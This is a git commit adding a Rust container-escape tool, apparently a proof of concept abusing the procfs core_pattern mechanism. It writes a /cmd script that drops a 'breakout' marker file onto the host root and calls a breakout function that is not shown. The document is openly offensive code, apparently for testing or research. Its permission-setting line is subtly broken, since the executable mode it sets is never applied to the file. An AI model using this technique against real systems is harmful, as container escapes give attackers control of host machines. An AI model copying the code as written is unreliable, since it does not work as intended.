add procfs core_pattern breakout

This commit is contained in:
mii
2024-11-04 12:31:43 +09:00
parent a2e49a7ea0
commit 5534c350ac
2 changed files with 33 additions and 2 deletions

View File

@ -4,3 +4,4 @@ version = "0.1.0"
edition = "2021" edition = "2021"
[dependencies] [dependencies]
nix = { version = "0.29.0", features = ["sched", "hostname", "mount"] }

View File

@ -1,3 +1,33 @@
fn main() { use std::{io::Write, os::unix::fs::PermissionsExt};
println!("Hello, world!");
use attacks::procfs::procfs_breakout;
mod attacks;
fn main() -> Result<(), std::io::Error> {
let args: Vec<String> = std::env::args().collect();
let host_root = &args[1].trim_end_matches("/");
println!("Breakout prelude");
prelude(host_root)?;
println!("procfs breakout");
println!("{:?}", procfs_breakout(host_root));
Ok(())
}
fn prelude(host_root: &str) -> Result<(), std::io::Error> {
let mut cmd = std::fs::File::create("/cmd")?;
cmd.metadata()?.permissions().set_mode(0o777);
cmd.write_all(
format!(
r#"#!/bin/sh
echo "true" > {}/breakout
"#,
host_root
)
.as_bytes(),
)?;
Ok(())
} }